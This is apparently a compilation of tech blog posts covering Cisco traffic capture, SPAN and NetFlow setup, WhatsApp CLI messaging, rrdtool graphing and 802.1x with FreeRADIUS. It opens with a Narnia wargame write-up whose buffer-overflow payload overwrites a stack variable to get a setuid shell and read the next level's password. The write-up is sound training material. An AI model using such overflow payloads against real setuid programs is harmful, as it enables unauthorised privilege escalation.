# Narnia wargame: Level 0


# ssh narnia0@narnia.labs.overthewire.org
narnia0@narnia.labs.overthewire.org's password:6e61726e696130

narnia0@melissa$ file /narnia/narnia0
/narnia/narnia0: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
narnia0@melissa$ cat /narnia/narnia0.c
#include <stdio.h>
#include <stdlib.h>

int main(){
        long val=0x41414141;
        char buf[20];

        printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
        printf("Here is your chance: ");
        scanf("%24s",&buf);

        printf("buf: %s\n",buf);
        printf("val: 0x%08x\n",val);

        if(val==0xdeadbeef)
                system("/bin/sh");
        else {
                printf("WAY OFF!!!!\n");
                exit(1);
        }

        return 0;
}
narnia0@melissa$ perl -e 'print "a"x20 . "\xef\xbe\xad\xde"'
aaaaaaaaaaaaaaaaaaaaï¾­Þnarnia0@melissa$ cat | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
aaaaaaaaaaaaaaaaaaaaï¾­Þ
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaï¾­Þ
val: 0xdeadbeef
/usr/bin/whoami
narnia1
/bin/cat /etc/narnia_pass/narnia1
65666569646965646165
^C
narnia0@melissa$ (perl -e 'print "a"x20 . "\xef\xbe\xad\xde"' ; echo "/usr/bin/whoami" ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaï¾­Þ
val: 0xdeadbeef
narnia1
65666569646965646165
narnia0@melissa$ (((echo -e "aaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" ; exit) ; echo "/usr/bin/whoami") ; echo "/bin/cat /etc/narnia_pass/narnia1") | /narnia/narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaï¾­Þ
val: 0xdeadbeef
narnia1
65666569646965646165

# Mini Protocol Analyzer


Understanding how the Mini Protocol Analyzer works

- Release 12.2(33)SXI and later releases support the Mini Protocol Analyzer feature.
- Captures network traffic from a SPAN session and stores the captured packet in a local memory buffer.
- You can limit the captured packets from selected VLANs, ACLs, MACs, ethertype or packet size.
- You can start and stop the capture using immediate commands, or schedule the capture to begin at a specified date and time.
- The captured data can be displayed on the console, stored to a local file system, or exported to an external server.
- By default, only the first 68 bytes of each packet are captured.
- Only one capture session is supported.


Configuration

Switch(config)# monitor session 1 type capture
Switch(config-mon-capture)# description Mini Protocol Analyzer session
Switch(config-mon-capture)# buffer-size 1024 ! The default is 2048 KB
Switch(config-mon-capture)# rate-limit 1000 ! The default is 10000 packets per second
Switch(config-mon-capture)# source interface gi1/1 both
Switch(config-mon-capture)# filter access-group capture_acl
Switch(config-mon-capture)# filter vlan 100
Switch(config-mon-capture)# filter ethertype 0x0800 ! IPv4 packets
Switch(config-mon-capture)# filter length 0 1024 ! Between 0 and 1024 bytes
Switch(config-mon-capture)# filter mac-address aabb.ccdd.eeff

Starting and stopping a capture

The capture ends when one of the following conditions occurs:

- A stop or clear command is executed.
- The capture buffer becomes full, unless it is configured as a circular buffer.
- The number of seconds has elapsed.
- The number of packets has been captured.

Switch# monitor capture linear start
Switch# monitor capture linear start for 10 seconds
Switch# monitor capture linear start schedule at 22:00:00 11 feb 2013

Displaying and exporting the capture buffer

Switch# show monitor capture
Switch# show monitor capture status
Switch# show monitor capture buffer 1 detail
Switch# show monitor capture buffer 1 brief
Switch# monitor capture export buffer disk0:capture_file.cap

# Configuring Local SPAN, RSPAN and ERSPAN


Switched Port ANalyzer (SPAN)

- Monitors all traffic, including multicast and BPDUs.
- 2 local SPAN source sessions.
- 128 sources per session.
- 64 destinations per session.

Switch(config)# monitor session 1 type local
Switch(config-mon-local)# description SPAN session
Switch(config-mon-local)# source interface gi1/1-4 both
Switch(config-mon-local)# destination interface gi2/1
Switch(config-mon-local)# no shut
Switch(config)# monitor session 1 source interface gi1/1-4 both
Switch(config)# monitor session 1 destination interface gi2/1

Remote SPAN (RSPAN)

- Uses a Layer 2 VLAN to carry SPAN traffic between switches.
- Does not monitor BPDUs.
- 2 RSPAN source sessions.
- 64 RSPAN destination sessions.
- 128 sources per session and 1 RSPAN VLAN.
- 64 destinations per session.
- Any network device that supports RSPAN VLANs can be an RSPAN intermediate device.
- MAC address learning is disabled in the RSPAN VLAN.

Switch1(config)# monitor session 1 type rspan-source
Switch1(config-mon-rspan-src)# description RSPAN session - source
Switch1(config-mon-rspan-src)# source interface gi1/1-4 both
Switch1(config-mon-rspan-src)# destination remote vlan 666
Switch1(config-mon-rspan-src)# no shut
Switch2(config)# monitor session 1 type rspan-destination
Switch2(config-mon-rspan-dst)# description RSPAN session - destination
Switch2(config-mon-rspan-dst)# source remote vlan 666
Switch2(config-mon-rspan-dst)# destination interface gi2/1
Switch2(config-mon-rspan-dst)# no shut
Switch1(config)# monitor session 1 source interface gi1/1-4 both
Switch1(config)# monitor session 1 destination remote vlan 666
Switch2(config)# monitor session 1 source remote vlan 666
Switch2(config)# monitor session 1 destination interface gi2/1

Encapsulated RSPAN (ERSPAN)

- Uses a GRE tunnel to carry traffic between switches.
- Adds 50 byte header.
- DF bit is set to prevent fragmentation.
- ERSPAN ID differentiates from various different ERSPAN source sessions.
- Monitors all traffic, including multicast and BPDUs.
- 2 ERSPAN source sessions.
- 24 ERSPAN destination sessions.
- 128 sources per session and 1 IP address.
- 64 destinations per session.

Switch1(config)# monitor session 1 type erspan-source
Switch1(config-mon-erspan-src)# description ERSPAN session - source
Switch1(config-mon-erspan-src)# source interface gi1/1-4 both
Switch1(config-mon-erspan-src)# destination
Switch1(config-mon-erspan-src-dst)# ip address 10.2.2.2
Switch1(config-mon-erspan-src-dst)# erspan-id 111
Switch1(config-mon-erspan-src-dst)# origin ip address 10.1.1.1
Switch1(config-mon-erspan-src-dst)# ip ttl 5
Switch1(config-mon-erspan-src)# no shut
Switch2(config)# monitor session 1 type erspan-destination
Switch2(config-mon-erspan-dst)# description ERSPAN session - destination
Switch2(config-mon-erspan-dst)# source
Switch2(config-mon-erspan-dst-src)# ip address 10.2.2.2
Switch2(config-mon-erspan-dst-src)# erspan-id 111
Switch2(config-mon-erspan-dst)# destination interface gi2/1
Switch2(config-mon-erspan-dst)# no shut

Source trunk VLAN filtering

Switch(config)# monitor session 1 filter vlan 1-5,10

Destination trunk VLAN filtering

Switch(config)# interface gi2/1
Switch(config-if)# switchport
Switch(config-if)# switchport encapsulation dot1q
Switch(config-if)# switchport mode trunk
Switch(config-if)# switchport trunk allowed vlan 10

Destination port permit lists

Switch(config)# monitor permit-list
Switch(config)# monitor permit-list destination interface gi2/2-4
Switch# show monitor permit-list

Notes

- SPAN does not copy the encapsulation from trunk sources. You can configure SPAN destinations as trunks to tag the monitored traffic before it is transmitted for analysis.
- Traffic that enters a VLAN through a Layer 3 VLAN interface is monitored when it is transmitted through an egress port that is in the source VLAN.
- Destination etherchannels do not support PAgP or LACP protocols, only the on mode.
- You can connect member links of a destination etherchannel to separate network analyzers.
- SPAN consumes too many switch and network resources to enable permanently.

# NetFlow configuration on Catalyst and Nexus switches


Background information

- The NetFlow cache on the Multilayer Switch Feature Card (MSFC) captures statistics for flows routed in software.
- The NetFlow cache on the Policy Feature Card (PFC) captures statistics for flows routed in hardware.
- A flow mask defines the format of a cache entry in the NetFlow cache table.
- You need to configure Netflow Data Export (NDE) to export NetFlow statistics to a NetFlow collector.


Catalyst NetFlow configuration

- MSFC configuration

Catalyst(config)# interface vlan10
Catalyst(config-if)# ip route-cache flow
Catalyst(config)# ip flow-export version 5
Catalyst(config)# ip flow-cache timeout active 5 ! Delete active cache entries after 5 minutes
Catalyst(config)# ip flow-cache timeout inactive 15 ! Delete inactive cache entries after 15 seconds

- PFC configuration

Catalyst(config)# mls netflow
Catalyst(config)# mls flow ip full-interface ! Flow mask on the PFC
Catalyst(config)# mls nde sender version 5
Catalyst(config)# mls aging fast ! Default threshold = 100 packets, and timeout = 32 seconds
Catalyst(config)# mls aging long 300 ! Delete active cache entries after 5 minutes
Catalyst(config)# mls aging normal 15 ! Delete inactive cache entries after 15 seconds

- Common configuration

Catalyst(config)# snmp-server ifindex persist
Catalyst(config)# ip flow-export source loopback0
Catalyst(config)# ip flow-export destination 10.0.0.1 9995

- Checks

Catalyst# show ip flow export
Catalyst# show ip cache flow
Catalyst# show mls nde
Catalyst# show snmp mib ifmib ifindex

Nexus NetFlow configuration

- Configuration

Nexus(config)# feature netflow
Nexus(config)# flow exporter collector
Nexus(config-flow-exporter)# description export netflow to collector
Nexus(config-flow-exporter)# destination 10.0.0.1
Nexus(config-flow-exporter)# version 5
Nexus(config-flow-exporter)# source loopback0
Nexus(config-flow-exporter)# transport udp 9995
Nexus(config)# flow monitor monitor_nexus
Nexus(config-flow-monitor)# exporter collector
Nexus(config-flow-monitor)# record netflow-original
Nexus(config)# int vlan10
Nexus(config-if)# ip flow monitor monitor_nexus input
Nexus(config)# flow timeout active 300
Nexus(config)# flow timeout inactive 15

- Checks

Nexus# show flow monitor monitor_nexus
Nexus# show flow exporter collector
Nexus# show flow record netflow-original
Nexus# show hardware flow ip
Nexus# show interface snmp-ifindex

# yowsup-cli: Send Whatsapp messages from command-line


Installation and configuration

# apt-get install python python-dateutil python-argparse
# wget https://github.com/tgalal/yowsup/archive/master.zip
# unzip master.zip
# cd yowsup-master/src
# cp config.example yowsup-cli.config
# cat yowsup-cli.config
cc=34
phone=34123456789
id=
password=
# chmod +x yowsup-cli
# ./yowsup-cli --requestcode sms --config yowsup-cli.config
status: sent
retry_after: 3605
length: 6
method: sms
# ./yowsup-cli --register 123-456 --config yowsup-cli.config
status: ok
kind: free
pw: S1nBGCvZhb6TBQrbm2sQCfSLkXM=
price: 0,89
price_expiration: 1362803446
currency: EUR
cost: 0.89
expiration: 1391344106
login: 34123456789
type: new
# cat yowsup-cli.config
cc=34
phone=34123456789     
id=
password=S1nBGCvZhb6TBQrbm2sQCfSLkXM=

Send a message

# ./yowsup-cli --send 34111222333 "Test message" --wait --config yowsup-cli.config
Connecting to c.whatsapp.net
Authed 34123456789
Sent message
Got sent receipt

Receive messages

# ./yowsup-cli --listen --autoack --keepalive --config yowsup-cli.config
Connecting to c.whatsapp.net
Authed 34123456789
34111222333@s.whatsapp.net [02-02-2013 14:14]:I have received a test message from you

Interactive: Send and receive messages

# ./yowsup-cli --interactive 34111222333 --wait --autoack --keepalive --config yowsup-cli.config
Connecting to c.whatsapp.net
Authed 34123456789
Starting Interactive chat with 34111222333
Enter Message or command: (/available, /lastseen, /unavailable)
Yes, I know it
34123456789 [02-02-2013 14:15]:Yes, I know it
Enter Message or command: (/available, /lastseen, /unavailable)
34111222333@s.whatsapp.net [02-02-2013 14:16]:What are you doing?
Enter Message or command: (/available, /lastseen, /unavailable)
Testing a new application
34123456789 [02-02-2013 14:16]:Testing a new application
Enter Message or command: (/available, /lastseen, /unavailable)
/unavailable

References

https://github.com/tgalal/yowsup
http://www.fonyou.es

# Log and analyze data with rrdtool


Introduction

We are going to log, every five seconds, the RTT values obtained from doing a ping to two different IP addresses.


Create the database

If we do not obtain a value in 10 seconds that value is lost.
The expected values are between 20.000 and 80.000 milliseconds.
We log data every 1 sample.
We store 120960 samples (one week).
Each sample is taken every 5 seconds.

12 samples x 5 seconds/sample = 60 seconds = 1 minute
12 samples x 60m x 24h x 7d = 120960 samples

# rrdtool create rtt.rrd \
> -s 5 \
> DS:google:GAUGE:10:20.000:80.000 \
> DS:yahoo:GAUGE:10:20.000:80.000 \
> RRA:AVERAGE:0.5:1:120960 \
> RRA:MIN:0.5:1:120960 \
> RRA:MAX:0.5:1:120960

Obtain the RTT values

# cat rtt.sh
#!/bin/bash

google_ip="$1"
 yahoo_ip="$2"

google_rtt=`ping -c 1 -W 1 $google_ip | grep rtt | tr '/' ' ' | awk '{print $7}'`
 yahoo_rtt=`ping -c 1 -W 1 $yahoo_ip  | grep rtt | tr '/' ' ' | awk '{print $7}'`

echo "N:$google_rtt:$yahoo_rtt"
rrdtool update rtt.rrd N:$google_rtt:$yahoo_rtt
# watch -n 5 ./rtt.sh 216.239.32.10 68.180.131.16

Check stored values

# rrdtool fetch rtt.rrd AVERAGE | grep -v nan

Analyze the graph

# cat make_graph.sh
#!/bin/bash

rtt_rrd="rtt.rrd"
rtt_png="rtt.png"
last=`rrdtool last rtt.rrd`
date=`date`
width="6000"
height="300"

rrdtool graph $rtt_png \
--start end-1hour --end $last \
--title "Round-Trip Time (RTT)" \
--vertical-label "Milliseconds" \
--width $width \
--height $height \
--x-grid SECOND:5:SECOND:30:SECOND:60:0:%T%n%D \
--color BACK#222222 \
--color FONT#aaaaaa \
--color CANVAS#222222 \
--color GRID#444444 \
--color MGRID#666666 \
--color AXIS#888888 \
--color ARROW#888888 \
--font-render-mode normal \
--pango-markup \
--graph-render-mode normal \
--slope-mode \
--imgformat PNG \
--watermark "$date - hacktracking.blogspot.com" \
DEF:vgoogle=$rtt_rrd:google:AVERAGE \
DEF:vyahoo=$rtt_rrd:yahoo:AVERAGE \
COMMENT:" \\n" \
COMMENT:" \\n" \
LINE:vgoogle\#ff0000:'<b>GOOGLE</b>' \
GPRINT:vgoogle:MIN:"<small>min = </small>%3.3lf <small>ms</small>" \
GPRINT:vgoogle:MAX:"<small>max = </small>%3.3lf <small>ms</small>" \
GPRINT:vgoogle:AVERAGE:"<small>avg = </small>%3.3lf <small>ms</small>" \
GPRINT:vgoogle:LAST:"<small>last = </small>%3.3lf <small>ms</small>" \
COMMENT:" \\n" \
COMMENT:" \\n" \
LINE:vyahoo\#00ff00:'<b>YAHOO</b> ' \
GPRINT:vyahoo:MIN:"<small>min = </small>%5.3lf <small>ms</small>" \
GPRINT:vyahoo:MAX:"<small>max = </small>%3.3lf <small>ms</small>" \
GPRINT:vyahoo:AVERAGE:"<small>avg = </small>%3.3lf <small>ms</small>" \
GPRINT:vyahoo:LAST:"<small>last = </small>%3.3lf <small>ms</small>" \
COMMENT:" \\n" \
COMMENT:" \\n"
# ./make_graph.sh && eog rtt.png

References

# man rrdtool rrdcreate rrdupdate rrdfetch rrdlast rrdgraph

# Wired 802.1x with EAP/TLS


Authentication server (Freeradius)

# apt-get install freeradius openssl
# mkdir /etc/ssl/CA
# mkdir /etc/ssl/newcerts
# echo '01' > /etc/ssl/CA/serial
# touch /etc/ssl/CA/index.txt
# cat /etc/ssl/openssl.cnf
...
[ CA_default ]

dir             = /etc/ssl
database        = $dir/CA/index.txt
certificate     = $dir/certs/cacert.pem
serial          = $dir/CA/serial
private_key     = $dir/private/cakey.pem
...
# cd /etc/ssl/CA
# openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650
Generating a 1024 bit RSA private key
.................++++++
.........++++++
writing new private key to 'cakey.pem'
Enter PEM pass phrase:MY_SECRET
Verifying - Enter PEM pass phrase:MY_SECRET
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:ES
State or Province Name (full name) [Some-State]:CAT
Locality Name (eg, city) []:BCN
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MyCA
Organizational Unit Name (eg, section) []:AAA
Common Name (e.g. server FQDN or YOUR name) []:ca.lab.net
Email Address []:root@lab.net
# mv cakey.pem /etc/ssl/private/.
# mv cacert.pem /etc/ssl/certs/.
# cat >> /etc/ssl/CA/xpextensions << eof
> [xpclient_ext]
> extendedKeyUsage=1.3.6.1.5.5.7.3.2
>
> [xpserver_ext]
> extendedKeyUsage=1.3.6.1.5.5.7.3.1
> eof
# openssl req -new -nodes -keyout freeradiuskey.pem -out freeradius.csr -days 3650
Generating a 1024 bit RSA private key
......++++++
..................++++++
writing new private key to 'freeradiuskey.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:ES
State or Province Name (full name) [Some-State]:CAT
Locality Name (eg, city) []:BCN
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MyCA
Organizational Unit Name (eg, section) []:AAA
Common Name (e.g. server FQDN or YOUR name) []:freeradius.lab.net
Email Address []:root@lab.net

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
# openssl ca -in freeradius.csr -config /etc/ssl/openssl.cnf
Using configuration from /etc/ssl/openssl.cnf
Enter pass phrase for /etc/ssl/private/cakey.pem:MY_SECRET
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 1 (0x1)
        Validity
            Not Before: Jan 15 18:28:48 2013 GMT
            Not After : Jan 15 18:28:48 2014 GMT
        Subject:
            countryName               = ES
            stateOrProvinceName       = CAT
            organizationName          = MyCA
            organizationalUnitName    = AAA
            commonName                = freeradius.lab.net
            emailAddress              = root@lab.net
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:FALSE
            Netscape Comment:
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier:
                78:3A:A1:E4:7E:69:FC:71:CD:45:22:AF:52:C0:4A:D8:E1:1F:99:20
            X509v3 Authority Key Identifier:
                keyid:14:75:4E:1F:6B:E3:FD:5A:88:77:71:93:60:32:81:6C:D5:AD:10:C4

Certificate is to be certified until Jan 15 18:28:48 2014 GMT (365 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=ES, ST=CAT, L=BCN, O=MyCA, OU=AAA, CN=ca.lab.net/emailAddress=root@lab.net
        Validity
            Not Before: Jan 15 18:28:48 2013 GMT
            Not After : Jan 15 18:28:48 2014 GMT
        Subject: C=ES, ST=CAT, O=MyCA, OU=AAA, CN=freeradius.lab.net/emailAddress=root@lab.net
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:d1:7a:a6:74:ce:cd:b1:96:1b:5b:f1:21:8b:45:
                    fe:52:a0:c4:ac:84:8a:ad:05:65:97:5e:fd:af:bb:
                    7d:1d:e9:9a:91:8d:46:48:16:83:88:90:da:03:b3:
                    5d:32:e2:e4:e3:2f:73:18:41:26:73:26:f3:32:03:
                    c0:02:a5:be:04:9e:36:40:99:cc:1b:52:03:4d:8a:
                    2a:9c:9f:65:10:56:0c:09:a9:26:fb:6e:09:78:e1:
                    00:28:b1:c6:b0:97:e3:87:78:ea:fe:89:24:8a:86:
                    5d:44:8f:70:bf:43:a4:a2:d0:23:b9:f7:ee:ae:48:
                    d1:fb:98:1e:61:d8:6c:87:cb
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints:
                CA:FALSE
            Netscape Comment:
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier:
                78:3A:A1:E4:7E:69:FC:71:CD:45:22:AF:52:C0:4A:D8:E1:1F:99:20
            X509v3 Authority Key Identifier:
                keyid:14:75:4E:1F:6B:E3:FD:5A:88:77:71:93:60:32:81:6C:D5:AD:10:C4

    Signature Algorithm: sha1WithRSAEncryption
         b9:41:6b:0e:57:88:a2:aa:a6:d1:5d:55:f0:1c:48:3f:c8:4f:
         97:09:65:1a:f7:08:45:f0:e4:10:e6:32:67:14:2f:6e:4f:b0:
         a0:21:56:96:32:90:5b:4c:78:01:40:05:92:4a:d3:2c:c2:11:
         77:a8:0d:3b:49:cb:2f:e4:22:99:44:0d:2a:0d:1e:6a:d1:3d:
         2e:72:19:46:9d:0e:3c:a3:3e:bf:a6:1e:2f:5c:f0:71:8a:b7:
         09:11:97:e1:0d:0e:29:5d:30:aa:87:e9:9d:37:86:13:c6:bd:
         8b:05:d5:c1:ec:c1:31:f8:79:a2:c2:16:92:c2:13:bd:aa:a6:
         89:37
-----BEGIN CERTIFICATE-----
MIIC2zCCAkSgAwIBAgIBATANBgkqhkiG9w0BAQUFADB4MQswCQYDVQQGEwJFUzEM
MAoGA1UECAwDQ0FUMQwwCgYDVQQHDANCQ04xDTALBgNVBAoMBE15Q0ExDDAKBgNV
BAsMA0FBQTETMBEGA1UEAwwKY2EubGFiLm5ldDEbMBkGCSqGSIb3DQEJARYMcm9v
dEBsYWIubmV0MB4XDTEzMDExNTE4Mjg0OFoXDTE0MDExNTE4Mjg0OFowcjELMAkG
A1UEBhMCRVMxDDAKBgNVBAgMA0NBVDENMAsGA1UECgwETXlDQTEMMAoGA1UECwwD
QUFBMRswGQYDVQQDDBJmcmVlcmFkaXVzLmxhYi5uZXQxGzAZBgkqhkiG9w0BCQEW
DHJvb3RAbGFiLm5ldDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA0XqmdM7N
sZYbW/Ehi0X+UqDErISKrQVll179r7t9HemakY1GSBaDiJDaA7NdMuLk4y9zGEEm
cybzMgPAAqW+BJ42QJnMG1IDTYoqnJ9lEFYMCakm+24JeOEAKLHGsJfjh3jq/okk
ioZdRI9wv0OkotAjuffurkjR+5geYdhsh8sCAwEAAaN7MHkwCQYDVR0TBAIwADAs
BglghkgBhvhCAQ0EHxYdT3BlblNTTCBHZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYD
VR0OBBYEFHg6oeR+afxxzUUir1LAStjhH5kgMB8GA1UdIwQYMBaAFBR1Th9r4/1a
iHdxk2AygWzVrRDEMA0GCSqGSIb3DQEBBQUAA4GBALlBaw5XiKKqptFdVfAcSD/I
T5cJZRr3CEXw5BDmMmcUL25PsKAhVpYykFtMeAFABZJK0yzCEXeoDTtJyy/kIplE
DSoNHmrRPS5yGUadDjyjPr+mHi9c8HGKtwkRl+ENDildMKqH6Z03hhPGvYsF1cHs
wTH4eaLCFpLCE72qpok3
-----END CERTIFICATE-----
Data Base Updated
# cp /etc/ssl/newcerts/01.pem freeradius.pem
# cat freeradiuskey.pem > freeradiuskeycert.pem
# grep -A 100 BEGIN freeradius.pem >> freeradiuskeycert.pem
# openssl req -new -nodes -keyout wxpkey.pem -out wxp.csr -days 3650
Generating a 1024 bit RSA private key
.........................++++++
...++++++
writing new private key to 'wxpkey.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:ES
State or Province Name (full name) [Some-State]:CAT
Locality Name (eg, city) []:BCN
Organization Name (eg, company) [Internet Widgits Pty Ltd]:MyCA
Organizational Unit Name (eg, section) []:AAA
Common Name (e.g. server FQDN or YOUR name) []:wxp.lab.net
Email Address []:root@lab.net

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:
# openssl ca -in wxp.csr -config /etc/ssl/openssl.cnf -extensions xpclient_ext -extfile /etc/ssl/CA/xpextensions
Using configuration from /etc/ssl/openssl.cnf
Enter pass phrase for /etc/ssl/private/cakey.pem:MY_SECRET
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 2 (0x2)
        Validity
            Not Before: Jan 15 18:34:05 2013 GMT
            Not After : Jan 15 18:34:05 2014 GMT
        Subject:
            countryName               = ES
            stateOrProvinceName       = CAT
            organizationName          = MyCA
            organizationalUnitName    = AAA
            commonName                = wxp.lab.net
            emailAddress              = root@lab.net
        X509v3 extensions:
            X509v3 Extended Key Usage:
                TLS Web Client Authentication
Certificate is to be certified until Jan 15 18:34:05 2014 GMT (365 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 2 (0x2)
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=ES, ST=CAT, L=BCN, O=MyCA, OU=AAA, CN=ca.lab.net/emailAddress=root@lab.net
        Validity
            Not Before: Jan 15 18:34:05 2013 GMT
            Not After : Jan 15 18:34:05 2014 GMT
        Subject: C=ES, ST=CAT, O=MyCA, OU=AAA, CN=wxp.lab.net/emailAddress=root@lab.net
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
                Modulus:
                    00:c3:b9:f0:f7:09:c4:89:85:30:b4:e8:83:99:39:
                    c3:19:49:c6:b5:9e:df:28:88:6a:4c:f9:7f:9d:45:
                    92:a3:e3:22:18:9a:3b:ff:49:20:f9:63:97:59:d8:
                    b4:49:73:ea:0e:76:e0:62:d2:6b:25:35:fa:14:c3:
                    31:26:7d:33:db:7f:42:5d:ad:a6:48:11:32:a7:e0:
                    0b:9b:77:45:4d:cb:68:66:28:30:48:fd:43:8b:d7:
                    d3:c3:36:a6:bd:9a:83:76:2f:34:65:a5:aa:53:97:
                    e8:fc:e8:83:74:6e:a7:84:74:8c:0b:36:b6:f3:9a:
                    d5:d8:6d:39:ba:e2:2b:27:a5
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Extended Key Usage:
                TLS Web Client Authentication
    Signature Algorithm: sha1WithRSAEncryption
         25:3b:75:12:2b:d0:9f:bd:02:e3:9b:8f:b3:04:ee:82:80:60:
         08:0c:1e:60:19:e0:3b:10:5d:0f:6c:4e:50:29:1a:50:0f:1d:
         3c:a5:a1:af:ce:73:42:c7:d7:81:b8:68:3a:40:c6:88:4e:cd:
         fa:b8:f4:65:34:44:6b:6a:85:6e:8a:5e:34:19:4f:3a:5f:45:
         8b:4f:ac:35:5d:26:55:bf:eb:4c:b7:fa:83:25:cd:62:78:07:
         4c:48:3d:e1:51:5d:21:26:33:9f:05:8b:fc:8a:99:6b:cf:70:
         ce:23:ae:f4:04:d8:aa:20:f7:11:02:c0:3f:dc:b1:24:f2:1b:
         0d:f5
-----BEGIN CERTIFICATE-----
MIICcDCCAdmgAwIBAgIBAjANBgkqhkiG9w0BAQUFADB4MQswCQYDVQQGEwJFUzEM
MAoGA1UECAwDQ0FUMQwwCgYDVQQHDANCQ04xDTALBgNVBAoMBE15Q0ExDDAKBgNV
BAsMA0FBQTETMBEGA1UEAwwKY2EubGFiLm5ldDEbMBkGCSqGSIb3DQEJARYMcm9v
dEBsYWIubmV0MB4XDTEzMDExNTE4MzQwNVoXDTE0MDExNTE4MzQwNVowazELMAkG
A1UEBhMCRVMxDDAKBgNVBAgMA0NBVDENMAsGA1UECgwETXlDQTEMMAoGA1UECwwD
QUFBMRQwEgYDVQQDDAt3eHAubGFiLm5ldDEbMBkGCSqGSIb3DQEJARYMcm9vdEBs
YWIubmV0MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDDufD3CcSJhTC06IOZ
OcMZSca1nt8oiGpM+X+dRZKj4yIYmjv/SSD5Y5dZ2LRJc+oOduBi0mslNfoUwzEm
fTPbf0JdraZIETKn4Aubd0VNy2hmKDBI/UOL19PDNqa9moN2LzRlpapTl+j86IN0
bqeEdIwLNrbzmtXYbTm64isnpQIDAQABoxcwFTATBgNVHSUEDDAKBggrBgEFBQcD
AjANBgkqhkiG9w0BAQUFAAOBgQAlO3USK9CfvQLjm4+zBO6CgGAIDB5gGeA7EF0P
bE5QKRpQDx08paGvznNCx9eBuGg6QMaITs36uPRlNERraoVuil40GU86X0WLT6w1
XSZVv+tMt/qDJc1ieAdMSD3hUV0hJjOfBYv8iplrz3DOI670BNiqIPcRAsA/3LEk
8hsN9Q==
-----END CERTIFICATE-----
Data Base Updated 
# cp /etc/ssl/newcerts/02.pem wxp.pem
# openssl pkcs12 -export -in wxp.pem -inkey wxpkey.pem -certfile /etc/ssl/certs/cacert.pem -name "Wired-dot1x" -out wxp.p12
Enter Export Password:MY_EXPORT
Verifying - Enter Export Password:MY_EXPORT
# cp /etc/ssl/certs/cacert.pem /etc/freeradius/certs/.
# cp /etc/ssl/CA/freeradiuskeycert.pem /etc/freeradius/certs/.
# cp /etc/freeradius/eap.conf /etc/freeradius/eap.conf.orig
# cat /etc/freeradius/eap.conf
        eap {
                default_eap_type = tls
                timer_expire     = 60
                ignore_unknown_eap_types = no
                cisco_accounting_username_bug = no
                max_sessions = 4096
                md5 {
                }
                leap {
                }
                gtc {
                        auth_type = PAP
                }
                tls {
                        certdir = ${confdir}/certs
                        cadir = ${confdir}/certs
                        private_key_file = ${certdir}/freeradiuskeycert.pem
                        certificate_file = ${certdir}/freeradiuskeycert.pem
                        CA_file = ${cadir}/cacert.pem
                        dh_file = ${certdir}/dh
                        random_file = /dev/urandom
                        fragment_size = 1024
                        include_length = yes
                        CA_path = ${cadir}
                        cipher_list = "DEFAULT"
                        make_cert_command = "${certdir}/bootstrap"
                        cache {
                              enable = no
                              max_entries = 255
                        }
                        verify {
                        }
                }
                ttls {
                        default_eap_type = md5
                        copy_request_to_tunnel = no
                        use_tunneled_reply = no
                        virtual_server = "inner-tunnel"
                }
                peap {
                        default_eap_type = mschapv2
                        copy_request_to_tunnel = no
                        use_tunneled_reply = no
                        virtual_server = "inner-tunnel"
                }
                mschapv2 {
                }
        }
# /etc/init.d/freeradius stop
# freeradius -X


Authenticator/NAS (Cisco Catalyst 2960)

Switch(config)# aaa new-model
Switch(config)# radius server freeradius
Switch(config-radius-server)# address ipv4 192.168.0.100 auth-port 1812 acct-port 1813
Switch(config-radius-server)# key MYSECRET
Switch(config)# aaa authentication dot1x default group radius
Switch(config)# aaa authorization network default group radius
Switch(config)# aaa accounting dot1x default start-stop group radius
Switch(config)# radius-server vsa send accounting
Switch(config)# radius-server vsa send authentication
